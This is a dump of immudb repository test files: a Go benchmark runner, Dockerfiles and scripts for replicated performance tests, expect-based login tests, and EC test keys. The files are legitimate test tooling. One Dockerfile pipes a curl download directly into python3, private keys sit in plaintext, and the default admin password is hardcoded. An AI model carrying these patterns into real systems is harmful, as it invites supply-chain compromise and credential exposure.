    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage runner\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs\"\n)\n\nfunc RunAllBenchmarks(d time.Duration, tempDir string, seed uint64) (*BenchmarkSuiteResult, error) {\n\tret := &BenchmarkSuiteResult{\n\t\tStartTime:   time.Now(),\n\t\tProcessInfo: gatherProcessInfo(),\n\t\tSystemInfo:  gatherSystemInfo(),\n\t}\n\n\tlog.Printf(\"Starting immudb performance test suite\")\n\n\tfor _, b := range getBenchmarksToRun() {\n\n\t\tlog.Printf(\"Running benchmark: %s\", b.Name())\n\n\t\tresult := BenchmarkRunResult{\n\t\t\tName:     b.Name(),\n\t\t\tTimeline: []BenchmarkTimelineEntry{},\n\t\t}\n\n\t\terr := b.Warmup(tempDir)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tresult.StartTime = time.Now()\n\n\t\t// Start probing goroutine\n\t\tdone := make(chan bool)\n\t\twg := sync.WaitGroup{}\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\tticker := time.NewTicker(time.Second)\n\t\t\tdefer ticker.Stop()\n\n\t\t\tfor {\n\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\t\treturn\n\t\t\t\tcase <-ticker.C:\n\t\t\t\t}\n\n\t\t\t\tnow := time.Now()\n\t\t\t\tprobe := b.Probe()\n\t\t\t\tresult.Timeline = append(result.Timeline, BenchmarkTimelineEntry{\n\t\t\t\t\tTime:     now,\n\t\t\t\t\tDuration: Duration(now.Sub(result.StartTime)),\n\t\t\t\t\tProbe:    probe,\n\t\t\t\t})\n\n\t\t\t\tlog.Printf(\n\t\t\t\t\t\"[%s] %v/%v %s\",\n\t\t\t\t\tresult.Name,\n\t\t\t\t\tnow.Sub(result.StartTime).Round(time.Second),\n\t\t\t\t\td,\n\t\t\t\t\tprobe,\n\t\t\t\t)\n\t\t\t}\n\t\t}()\n\n\t\t// Run the benchmark\n\t\tres, err := b.Run(d, seed)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Notify that we're done probing\n\t\tclose(done)\n\t\twg.Wait()\n\n\t\tresult.Summary = fmt.Sprint(res)\n\t\tresult.EndTime = time.Now()\n\t\tresult.Duration = Duration(result.EndTime.Sub(result.StartTime))\n\t\tresult.RequestedDuration = Duration(d)\n\t\tresult.Results = res.(*writetxs.Result)\n\n\t\tret.Benchmarks = append(ret.Benchmarks, result)\n\n\t\tlog.Printf(\"Benchmark %s finished\", b.Name())\n\t\tlog.Printf(\"Results: %s\", res)\n\n\t\tb.Cleanup()\n\t}\n\n\tret.EndTime = time.Now()\n\tret.Duration = Duration(ret.EndTime.Sub(ret.StartTime))\n\n\tlog.Printf(\"Finished immudb performance test suite\")\n\treturn ret, nil\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/runner/systeminfo.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage runner\n\nimport \"os\"\n\nfunc gatherSystemInfo() SystemInfo {\n\tret := SystemInfo{}\n\n\tif hn, err := os.Hostname(); err == nil {\n\t\tret.Hostname = hn\n\t}\n\n\treturn ret\n}\n"
  },
  {
    "path": "test/release_perf_test/.gitignore",
    "content": "result.csv\n"
  },
  {
    "path": "test/release_perf_test/Dockerfile",
    "content": "FROM golang:1.24 as builder\nWORKDIR /src/immudb\nCOPY go.mod go.sum /src/immudb\nRUN go mod download -x\nCOPY . .\nRUN rm -rf /src/webconsole/dist &&   mkdir /var/lib/immudb\nRUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static\n\nFROM debian:stable-slim\nCOPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient \\\n\t/src/immudb/test/release_perf_test/startup.sh /usr/local/bin\nRUN apt-get update && apt-get -y install netcat-traditional && apt-get clean\nENTRYPOINT [\"/usr/local/bin/startup.sh\"]\nCMD [\"standalone\"]\n"
  },
  {
    "path": "test/release_perf_test/Dockerfile-141",
    "content": "FROM golang:1.18 as builder\nWORKDIR /src/immudb\nRUN git clone --branch v1.4.1 https://github.com/codenotary/immudb .\nRUN go mod download -x\nRUN rm -rf /src/webconsole/dist &&   mkdir /var/lib/immudb\nRUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static\n\nFROM debian:stable-slim\nCOPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient /usr/local/bin\nCOPY test/release_perf_test/startup.sh /usr/local/bin\nRUN apt-get update && apt-get -y install netcat-traditional && apt-get clean\nENTRYPOINT [\"/usr/local/bin/startup.sh\"]\nCMD [\"standalone\"]\n"
  },
  {
    "path": "test/release_perf_test/Dockerfile.tools",
    "content": "FROM golang:1.19 as builder\nWORKDIR /src/immudb-tools\nRUN git clone https://github.com/codenotary/immudb-tools .\nRUN (cd stresser2 && go build)\nRUN (cd paralsql && go build)\n\nFROM python:3.10-slim\nCOPY --from=builder /src/immudb-tools/stresser2/stresser2 /src/immudb-tools/paralsql/paralsql /usr/local/bin/\nCOPY --from=builder /src/immudb-tools/test-web-api/ /usr/local/immudb-tools/test-web-api/\nRUN apt-get update && apt-get install -y curl && \\\n    curl -sSL https://install.python-poetry.org | POETRY_HOME=/etc/poetry python3 - --version 1.4.2\nENV PATH=\"$PATH:/etc/poetry/venv/bin\"\nRUN cd /usr/local/immudb-tools/test-web-api/ && \\\n    poetry config virtualenvs.create false && poetry install\nENTRYPOINT [\"/bin/bash\", \"-c\"]\nCMD [\"echo hello world\"]\n"
  },
  {
    "path": "test/release_perf_test/README.md",
    "content": "# Performance test\n\nThis utility test performs a set of performance test on immudb and outputs a CSV table that\ncan be easily imported in a spreadsheet.\nBoth immudb and the testing tools are built in a docker container. Docker compose is then used\nto run immudb and the test.\n\n# Usage\n\n## Quickstart\n\nJust launch `./runme.sh` and come back tomorrow.\n\n## Script usage\n\n**Note**: We recommend using `screen` or `tmux` to detach the session from the console. The test\nwill run for a very long time and you risk a disconnection will ruin the result.\n\nThe `runme.sh` scripts accept some options. Please refer to the test description below to better\nunderstand what the meaning of each of them is.\n\n```sh\n./runme.sh [ -d duration ] [ -B ] [ -D ] [ -Q ] [ -K ]\n        -d duration: duration of each test in seconds\n        -B (nobuild): skip building of containers\n        -D (nodocument): skip document test\n        -Q (nosql): skip sql test\n        -K (nokv): skip KV test\n```\n\nBy default, the duration of each test is 600 seconds (10 minutes). You can change that with the `-d`\nparameter. You can also skip a test section with flags `-D`, `-Q`, `-K` or avoid building the\ncontainers (useful if they are already built) with `-B`.\n\n## Result / Output\n\nAt the end of the tests a table will be printed, in CSV format, like this:\n```csv\ntest;client,batchsize,replication,Write TX/s,Write KV/s\nkv;1;1;no;31;31\nkv;10;1;no;261;261\nkv;100;1;no;2218;2218\nkv;1;100;no;2717;271700\nkv;10;100;no;21033;2103300\n[...]\ndoc;1;100;async;14.9457;1494.568\ndoc;10;100;async;16.7671;1676.706\ndoc;100;100;async;18.2019;1820.194\ndoc;1;1000;async;11.4383;11438.330\ndoc;10;1000;async;12.8969;12896.903\ndoc;100;1000;async;13.6866;13686.639\n```\n\nThis table is also saved in file `result.csv`. It shows all tests performed, with the indication of\nthe subsystem (kv, sql, doc), the number of clients, the batchsize, the type of replication setup and\n(finally) the number of transaction per second and the number of document (KV pair, SQL lines or JSON\ndocument) inserted per second.\n\n## Test matrix\n\nThree set of tests are executed: key/value inserts (KV), SQL inserts (SQL) and json document\ninsertion, using HTTP APIs. For each set, we execute multiple runs, with different number of concurrent\nclient, and with different batch size.\nWe use runs with 1, 10, 100 clients and batch size 1, 100, 1000. So each single test is executed 9 times.\nEach run has a fixed duration, which by default is 10 minutes.\n\n### Replication\nOn top of that, each test matrix is run three times:\n- on a single immudb instance,\n- on an asynchronous replicated couple of instances,\n- and on a synchronous replicated couple of instance.\n\nSo every subsystem (KV, SQL, DOC) performs 27 tests, each lasting by default 10 minutes, for a total of\n81 tests, or 810 minutes. Plus startup/teardown time. So the whole test procedure can easily last 14 hours.\n\n## Immudb Version tested\n\nBy default, the current immudb code is compiled and tested. It is possible to have a different\nimmudb version, by using a specifically crafted Dockerfile to create a custom immudb docker.\nAs a reference, we have the `Dockerfile-141` file that builds immudb 1.4.1\n\nTo use the custom dockerfile, simply set the `DOCKERFILE` variable (i.e. `export DOCKERFILE=Dockerfile-1.4.1`)\nbefore running the script.\n\n## Docker architecture\n\nWe use docker-compose to build and run the tests\n\n### Containers\nThe server is built using the `Dockerfile` in the present directory. It compiles immudb from the\nvery same branch that is checked out, adding a startup scripts that takes care of tuning the server\nstartup parameters, creating a testing database with correct settings and, if required, needed replication\noptions.\n\nThe client docker checks out the testing tools from the `immudb-tools` repository and builds a client\nthat contains all the binaries and scripts needed for testing.\n\n### Running the tests\n\nDocker compose \"recycles\" the same server container for all different replication scenario, just\nproviding the startup script with the correct option.\nThe test is then run by providing the client container the correct entrypoint for the test that is\nbeing performed.\n\n"
  },
  {
    "path": "test/release_perf_test/docker-compose.yaml",
    "content": "version: '3.9'\nservices:\n    immudb-perftest:\n        container_name: immudb-perftest\n        image: immudb-perftest\n        build:\n            context: ../..\n            dockerfile: test/release_perf_test/${DOCKERFILE:-Dockerfile}\n    immudb-tools:\n        container_name: immudb-tools\n        image: immudb-tools\n        build:\n            context: .\n            dockerfile: ./Dockerfile.tools\n\n    immudb-standalone:\n        container_name: immudb-standalone\n        image: immudb-perftest\n        command: [\"standalone\"]\n\n    immudb-async-main:\n        container_name: immudb-async-main\n        image: immudb-perftest\n        command: [\"asyncmain\"]\n    immudb-async-replica:\n        container_name: immudb-async-replica\n        image: immudb-perftest\n        command: [\"asyncreplica\"]\n\n    immudb-sync-main:\n        container_name: immudb-sync-main\n        image: immudb-perftest\n        command: [\"syncmain\"]\n    immudb-sync-replica:\n        container_name: immudb-sync-replica\n        image: immudb-perftest\n        command: [\"syncreplica\"]\n\n    immudb-tools-kv:\n        container_name: immudb-tools\n        image: immudb-tools\n        entrypoint:\n        - \"/usr/local/bin/stresser2\"\n\n    immudb-tools-sql:\n        container_name: immudb-tools\n        image: immudb-tools\n        entrypoint:\n        - \"/usr/local/bin/paralsql\"\n\n    immudb-tools-web-api:\n        container_name: immudb-tools\n        image: immudb-tools\n        working_dir: \"/usr/local/immudb-tools/test-web-api/\"\n        entrypoint: ['python', 'main.py']\n"
  },
  {
    "path": "test/release_perf_test/doctest.sh",
    "content": "#!/bin/sh\ndocker-compose build immudb-perftest immudb-tools\ndocker-compose up -d immudb-standalone\ndocker-compose run immudb-tools-web-api -b http://immudb-standalone:8080 --duration 10 -w 1 -s 1\n"
  },
  {
    "path": "test/release_perf_test/quickie.sh",
    "content": "#!/bin/sh\nDURATION=300\nWORKERS=100\nBATCHSIZE=10\n\n#docker-compose build immudb-perftest immudb-tools\ndocker-compose up -d immudb-standalone\ndocker-compose run immudb-tools-kv \\\n\t-addr  immudb-standalone -db perf -duration $DURATION \\\n\t-read-workers 0 -read-batchsize 0 -write-speed 0 \\\n\t-write-workers $WORKERS -write-batchsize $BATCHSIZE \\\n\t-silent -summary\n\n"
  },
  {
    "path": "test/release_perf_test/runme.sh",
    "content": "#!/bin/bash\n\nDURATION=600\nBUILD=1\nDOCTEST=1\nSQLTEST=1\nKVTEST=1\n\nwhile getopts \"hd:DQKB\" arg; do\n  case $arg in\n    d)\n      DURATION=$OPTARG\n      ;;\n    B)\n      unset BUILD\n      ;;\n    D)\n      unset DOCKTEST\n      ;;\n    Q)\n      unset SQLTEST\n      ;;\n    K)\n      unset KVTEST\n      ;;\n    h | *)\n      echo \"Usage:\"\n      echo \"$0 [ -d duration ] [ -B ] [ -D ] [ -Q ] [ -K ]\"\n      echo \"        -d duration: duration of each test in seconds\"\n      echo \"        -B (nobuild): skip building of containers\"\n      echo \"        -D (nodocument): skip document test\"\n      echo \"        -Q (nosql): skip sql test\"\n      echo \"        -K (nokv): skip KV test\"\n      exit 1\n      ;;\n  esac\ndone\n\nif [ $BUILD ]\nthen\ndocker-compose build immudb-perftest immudb-tools\nfi\nCSV_LINES=( 'test,client,batchsize,replication,Write TX/s,Write KV/s' )\n\n\nfunction print_result() {\n\tlocal REPL=$1\n\tshift\n\tlocal STATS=(\"$@\")\n\t# print resulting table\n\tIDX=0\n\techo \"#---\"\n\techo \"clients\tbatchsize\trepl.\tWrite TX/s\tWrite KV/s\"\n\tfor BATCHSIZE in 1 100 1000\n\tdo\n\t\tfor WORKERS in 1 10 100\n\t\tdo\n\t\tTXS=${STATS[IDX]}\n\t\techo \"$WORKERS\t$BATCHSIZE\t\t$REPL\t$TXS\t$((TXS*BATCHSIZE))\"\n\t\tIDX=$((IDX+1))\n\t\tdone\ndone\n}\n\nfunction test_matrix_kv() {\n\tSRV=$1\n\tADDR=$2\n\tREPL=$3\n\tSTATS=()\n\t> /tmp/runme.log\n\tfor BATCHSIZE in 1 100 1000\n\tdo\n\t\tfor WORKERS in 1 10 100\n\t\tdo\n\t\techo \"BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL\" | tee -a /tmp/runme.log\n\t\tdocker-compose up -d $SRV\n\t\tsleep 5\n\t\tdocker-compose run immudb-tools-kv \\\n\t\t\t-addr $ADDR -db perf -duration $DURATION \\\n\t\t\t-read-workers 0 -read-batchsize 0 -write-speed 0 \\\n\t\t\t-write-workers $WORKERS -write-batchsize $BATCHSIZE \\\n\t\t\t-silent -summary 2>&1 | tee -a /tmp/runme.log\n\t\tTXS=$(tail -n1 /tmp/runme.log|grep -F \"TOTAL WRITE\"|grep -Eo '[0-9]+ Txs/s'|cut -d ' ' -f 1)\n\t\tSTATS+=( $TXS )\n\t\tCSVLINE=\"kv;$WORKERS;$BATCHSIZE;$REPL;$TXS;$((TXS*BATCHSIZE))\"\n\t\tCSV_LINES+=( $CSVLINE )\n\t\techo \"TXS: $TXS, STATS: ${STATS[*]}\"\n\t\tdocker-compose down --timeout 2\n\t\tdone\n\tdone\n\tprint_result \"$REPL\" \"${STATS[@]}\"\n}\n\nfunction test_matrix_sql() {\n\tSRV=$1\n\tADDR=$2\n\tREPL=$3\n\tSTATS=()\n\t> /tmp/runme.log\n\tfor BATCHSIZE in 1 100 1000\n\tdo\n\t\tfor WORKERS in 1 10 100\n\t\tdo\n\t\techo \"BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL\" | tee -a /tmp/runme.log\n\t\tdocker-compose up -d $SRV\n\t\tsleep 5\n\t\tdocker-compose run immudb-tools-sql \\\n\t\t\t-addr $ADDR -db perf -duration $DURATION \\\n\t\t\t-workers $WORKERS -txsize 1 -insert-size $BATCHSIZE \\\n\t\t\t2>&1 | tee -a /tmp/runme.log\n\t\tWRS=$(tail -n1 /tmp/runme.log|grep -F \"Total Writes\"|grep -Eo '[0-9.]+ writes/s'|cut -d ' ' -f 1)\n\t\tTXS=$(tail -n1 /tmp/runme.log|awk \"/Total Writes/{print \\$9/$BATCHSIZE}\")\n\t\tTRUNC_TRS=$(echo $WRS|grep -Eo '^[0-9]+')\n\t\tSTATS+=( $TRUNC_TRS )\n\t\tCSVLINE=\"sql;$WORKERS;$BATCHSIZE;$REPL;$TXS;$WRS\"\n\t\tCSV_LINES+=( $CSVLINE )\n\t\techo \"TXS: $TXS, WRS: $WRS, STATS: ${STATS[*]}\"\n\t\tdocker-compose down --timeout 2\n\t\tdone\n\tdone\n\tprint_result \"$REPL\" \"${STATS[@]}\"\n}\n\nfunction test_matrix_doc() {\n\tSRV=$1\n\tADDR=$2\n\tREPL=$3\n\tSTATS=()\n\t> /tmp/runme.log\n\tfor BATCHSIZE in 1 100 1000\n\tdo\n\t\tfor WORKERS in 1 10 100\n\t\tdo\n\t\techo \"BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL\" | tee -a /tmp/runme.log\n\t\tdocker-compose up -d $SRV\n\t\tsleep 5\n\t\tdocker-compose run immudb-tools-web-api \\\n\t\t\t-b http://$ADDR:8080 --duration $DURATION -db perf \\\n\t\t\t-w $WORKERS -s $BATCHSIZE \\\n\t\t\t2>&1 | tee -a /tmp/runme.log\n\t\tTX=$(awk '/TX:/{print $7}' /tmp/runme.log | tail -n 1)\n\t\tTXS=$((TX/DURATION))\n\t\tWRS=$((TX*BATCHSIZE/DURATION))\n\t\tSTATS+=( $TXS )\n\t\tCSVLINE=\"doc;$WORKERS;$BATCHSIZE;$REPL;$TXS;$WRS\"\n\t\tCSV_LINES+=( $CSVLINE )\n\t\techo \"TXS: $TXS, WRS: $WRS, STATS: ${STATS[*]}\"\n\t\tdocker-compose down --timeout 2\n\t\tdone\n\tdone\n\tprint_result \"$REPL\" \"${STATS[@]}\"\n}\nif [ $KVTEST ]\nthen\ntest_matrix_kv \"immudb-standalone\" \"immudb-standalone\" \"no\"\ntest_matrix_kv \"immudb-async-main immudb-async-replica\" \"immudb-async-main\" \"async\"\ntest_matrix_kv \"immudb-sync-main immudb-sync-replica\" \"immudb-sync-main\" \"sync\"\nfi\n\nif [ $SQLTEST ]\nthen\ntest_matrix_sql \"immudb-standalone\" \"immudb-standalone\" \"no\"\ntest_matrix_sql \"immudb-async-main immudb-async-replica\" \"immudb-async-main\" \"async\"\n# FIXME sql + sync is currently broken\n#test_matrix_sql \"immudb-sync-main immudb-sync-replica\" \"immudb-sync-main\" \"sync\"\nfi\n\nif [ $DOCTEST ]\nthen\ntest_matrix_doc \"immudb-standalone\" \"immudb-standalone\" \"no\"\ntest_matrix_doc \"immudb-async-main immudb-async-replica\" \"immudb-async-main\" \"async\"\ntest_matrix_doc \"immudb-sync-main immudb-sync-replica\" \"immudb-sync-main\" \"sync\"\nfi\n\nprintf '%s\\n' \"${CSV_LINES[@]}\"\nprintf '%s\\n' \"${CSV_LINES[@]}\" > result.csv\n\n\n"
  },
  {
    "path": "test/release_perf_test/startup.sh",
    "content": "#!/bin/sh\nIMMUDB=/usr/local/bin/immudb\nIMMUADMIN=/usr/local/bin/immuadmin\n\nif [ -z \"$1\" ]\nthen\nMODE=\"standalone\"\nelse\nMODE=$1\nfi\n\necho \"Startup mode '$MODE'\"\n\ncase $MODE in\n  standalone)\n  (\n  while ! nc -z 127.0.0.1 3322 ; do echo \"waiting\"; sleep 1; done\n  echo -n immudb | $IMMUADMIN login immudb\n  $IMMUADMIN database create perf --max-commit-concurrency 120 # --embedded-values=true --prealloc-files=true\n  ) &\n  $IMMUDB --dir /var/lib/immudb --web-server\n  ;;\n\n  asyncmain)\n  (\n  while ! nc -z 127.0.0.1 3322 ; do echo \"waiting\"; sleep 1; done\n  echo -n immudb | $IMMUADMIN login immudb\n  $IMMUADMIN database create perf --max-commit-concurrency 120\n  ) &\n  $IMMUDB --dir /var/lib/immudb --max-sessions 120 --web-server\n  ;;\n  asyncreplica)\n  (\n  while ! nc -z 127.0.0.1 3322 ; do echo \"waiting\"; sleep 1; done\n  echo -n immudb | $IMMUADMIN login immudb\n  $IMMUADMIN database create perf \\\n    --max-commit-concurrency 120 \\\n    --replication-is-replica \\\n    --replication-primary-database perf \\\n    --replication-primary-host immudb-async-main \\\n    --replication-primary-password immudb \\\n    --replication-primary-port 3322 \\\n    --replication-primary-username immudb\n  ) &\n  $IMMUDB --dir /var/lib/immudb --web-server\n  ;;\n\n  syncmain)\n  (\n  while ! nc -z 127.0.0.1 3322 ; do echo \"waiting\"; sleep 1; done\n  echo -n immudb | $IMMUADMIN login immudb\n  $IMMUADMIN database create perf --max-commit-concurrency 120 \\\n    --replication-sync-enabled \\\n    --replication-sync-acks 1\n  ) &\n  $IMMUDB --dir /var/lib/immudb --max-sessions 120\n  ;;\n  syncreplica)\n  (\n  while ! nc -z 127.0.0.1 3322 ; do echo \"waiting\"; sleep 1; done\n  echo -n immudb | $IMMUADMIN login immudb\n  $IMMUADMIN database create perf \\\n    --max-commit-concurrency 120 \\\n    --replication-sync-enabled \\\n    --replication-is-replica \\\n    --replication-primary-database perf \\\n    --replication-primary-host immudb-sync-main \\\n    --replication-primary-password immudb \\\n    --replication-primary-port 3322 \\\n    --replication-primary-username immudb\n  ) &\n  $IMMUDB --dir /var/lib/immudb\n  ;;\n  *)\n  echo \"Wrong startup mode ($MODE)\"\n  exit 1\n  ;;\nesac\n\n"
  },
  {
    "path": "test/signer/ec1.key",
    "content": "-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIP2pgYo9cxXPiNx7JT45iYcaoe8n/pdel+yLSs5dPDnYoAoGCCqGSM49\nAwEHoUQDQgAEZZnFlFoRbwzdLiyyYkWcPbF/CZ2BSqo/0Qzp2wJrMCYQz6KHLntf\nbkgdEfjFfv/aALMrvOg7peEYqfsnoDqpmQ==\n-----END EC PRIVATE KEY-----\n"
  },
  {
    "path": "test/signer/ec1.pub",
    "content": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZZnFlFoRbwzdLiyyYkWcPbF/CZ2B\nSqo/0Qzp2wJrMCYQz6KHLntfbkgdEfjFfv/aALMrvOg7peEYqfsnoDqpmQ==\n-----END PUBLIC KEY-----\n"
  },
  {
    "path": "test/signer/ec3.key",
    "content": "-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIIvkppTkHC6DjcEBRJ+I/Q83YNp1/X/ECNxD0ldFWHBgoAoGCCqGSM49\nAwEHoUQDQgAE+jTlNH+mL/2MvU7OCnmaq6SQ+XM6se64K/IScq42M8sTtSEWlw9g\njIJMiRvdwhJBi3uQnk2i0cyBfNXKmy5i4w==\n-----END EC PRIVATE KEY-----\n"
  },
  {
    "path": "test/signer/ec3.pub",
    "content": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE+jTlNH+mL/2MvU7OCnmaq6SQ+XM6\nse64K/IScq42M8sTtSEWlw9gjIJMiRvdwhJBi3uQnk2i0cyBfNXKmy5i4w==\n-----END PUBLIC KEY-----\n"
  },
  {
    "path": "test/signer/unparsable.key",
    "content": "foo\n"
  },
  {
    "path": "test/txscan/txscan.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"log\"\n\t\"math/rand\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\timmuclient \"github.com/codenotary/immudb/pkg/client\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\ntype dbitem struct {\n\tkey  string\n\tval  string\n\tseen bool\n}\n\nvar config struct {\n\tstep int\n\ttot  int\n}\n\nfunc genvals(num int) ([]dbitem, map[string]int) {\n\tlog.Printf(\"Generating %d values\\n\", config.tot)\n\tkvs := make([]dbitem, num)\n\tptr := make(map[string]int, num)\n\tfor i := 0; i < num; i++ {\n\t\tkvs[i].key = rndString(12)\n\t\tkvs[i].val = rndString(32)\n\t\tkvs[i].seen = false\n\t\tptr[kvs[i].key] = i\n\t}\n\treturn kvs, ptr\n}\n\nvar seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))\n\nconst charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\"\n\nfunc rndString(l int) string {\n\tb := make([]byte, l)\n\tfor i := range b {\n\t\tb[i] = charset[seededRand.Intn(len(charset))]\n\t}\n\treturn string(b)\n}\n\nfunc connect() (immuclient.ImmuClient, context.Context) {\n\tclient, err := immuclient.NewImmuClient(immuclient.DefaultOptions())\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tctx := context.Background()\n\tlr, err := client.Login(ctx, []byte(`immudb`), []byte(`immudb`))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\treturn client, ctx\n}\n\nfunc init() {\n\tflag.IntVar(&config.step, \"step\", 50, \"size of one batch\")\n\tflag.IntVar(&config.tot, \"tot\", 1000, \"total number of KV\")\n\tflag.Parse()\n}\n\nfunc main() {\n\tkvs, ptr := genvals(config.tot)\n\tclient, ctx := connect()\n\tinsert(ctx, client, kvs)\n\tcheck(ctx, client, kvs, ptr)\n}\n\nfunc insert(ctx context.Context, client immuclient.ImmuClient, kvs []dbitem) {\n\tfor i := 0; i < len(kvs); i += config.step {\n\t\tlog.Printf(\"Inserting chunk %d-%d\", i, i+config.step-1)\n\t\trkvs := make([]*schema.KeyValue, config.step)\n\t\tfor j := 0; j < config.step; j += 1 {\n\t\t\trkvs[j] = &schema.KeyValue{Key: []byte(kvs[i+j].key), Value: []byte(kvs[i+j].val)}\n\t\t}\n\t\treq := schema.SetRequest{KVs: rkvs}\n\t\t_, err := client.SetAll(ctx, &req)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"Error inserting: \" + err.Error())\n\t\t}\n\t}\n}\n\nfunc check(ctx context.Context, client immuclient.ImmuClient, kvs []dbitem, ptr map[string]int) {\n\tfor txn := 1; ; {\n\t\treq := schema.TxScanRequest{InitialTx: uint64(txn), Limit: 10, Desc: false}\n\t\ttx, err := client.TxScan(ctx, &req)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tif len(tx.Txs) == 0 {\n\t\t\tbreak\n\t\t}\n\t\tfor i, t := range tx.Txs {\n\t\t\tlog.Printf(\"IDX %d TX %d:\\n\", i, t.Header.Id)\n\t\t\tlog.Printf(\"\\tentries:\\n\")\n\t\t\tfor _, e := range t.Entries {\n\t\t\t\tlog.Printf(\"\\t - %s\\n\", e.Key[1:])\n\t\t\t\txkey := string(e.Key[1:])\n\t\t\t\tindex, ok := ptr[xkey]\n\t\t\t\tif !ok {\n\t\t\t\t\tlog.Fatal(\"Key out of nowhere:\", xkey)\n\t\t\t\t}\n\t\t\t\tif kvs[index].key != xkey {\n\t\t\t\t\tlog.Fatal(\"Key mismatch:\", xkey, index)\n\t\t\t\t}\n\t\t\t\tkvs[index].seen = true\n\t\t\t}\n\t\t}\n\t\ttxn = int(tx.Txs[len(tx.Txs)-1].Header.Id) + 1\n\t}\n\tfor k, v := range kvs {\n\t\tif v.seen == false {\n\t\t\tlog.Fatal(\"Key not read\", v, k)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "tools/autotest/Makefile",
    "content": "SHELL=/bin/bash -o pipefail\n\n.PHONY: all\nall: requirements test1 test2\n\n.PHONY: requirements\nrequirements:\n\t@expect -v >/dev/null 2>&1 || (echo \"Please install 'expect'\"; return 1)\n\n.PHONY: test1\ntest1:\n\t./autotest.sh\n\n.PHONY: test2\ntest2:\n\t./envpasswd.sh\n"
  },
  {
    "path": "tools/autotest/README.md",
    "content": "# Autotest\n\nThese tests simulates interactive use of the tools.\n\nTo launch the tests, simply invoke `make` in this directory.\n\n## Requirements\n\nIn order to execute the test, you need the \"expect\" cli tool, which should be available from your distro's repository:\n\n - To install `expect` on debian/ubuntu, just `apt-get install expect`\n - To install `expect` on RedHat/CentOS, `yum install expect`\n\n You'll also need the immu* tools, which should be already built in the main directory.\n\n## autotest.sh\n\nThis script starts immudb, logs in, changes the admin password, create a bunch of databases and populates them with deterministic values. It next proceed to read them back, via index and via key, checking the correctness of the answer.\n\n## envpasswd.sh\n\nThis scripts checks if the env variable IMMUDB_ADMIN_PASSWORD is working as it should be.\n"
  },
  {
    "path": "tools/autotest/adminlogin.expect",
    "content": "#!/usr/bin/expect -f\nset PASSWD [lindex $argv 0]\nset timeout 1\n\nspawn ../../immuadmin login immudb\nexpect -exact \"Password:\"\nsend -- \"immudb\\r\"\nexpect -exact \"\\r\nlogged in\\r\n\\[33mSECURITY WARNING: immudb user has the default password: please change it to ensure proper security\\r\n\\[0mChoose a password for immudb:\"\nsend -- \"$PASSWD\\r\"\nexpect -exact \"\\r\nConfirm password:\"\nsend -- \"$PASSWD\\r\"\nexpect eof\n\n"
  },
  {
    "path": "tools/autotest/adminlogin1.expect",
    "content": "#!/usr/bin/expect -f\nset PASSWD [lindex $argv 0]\nset timeout 1\n\nspawn ../../immuadmin login immudb\nexpect -exact \"Password:\"\nsend -- \"$PASSWD\\r\"\nexpect -exact \"logged in\"\nexpect eof\n\n"
  },
  {
    "path": "tools/autotest/autotest.sh",
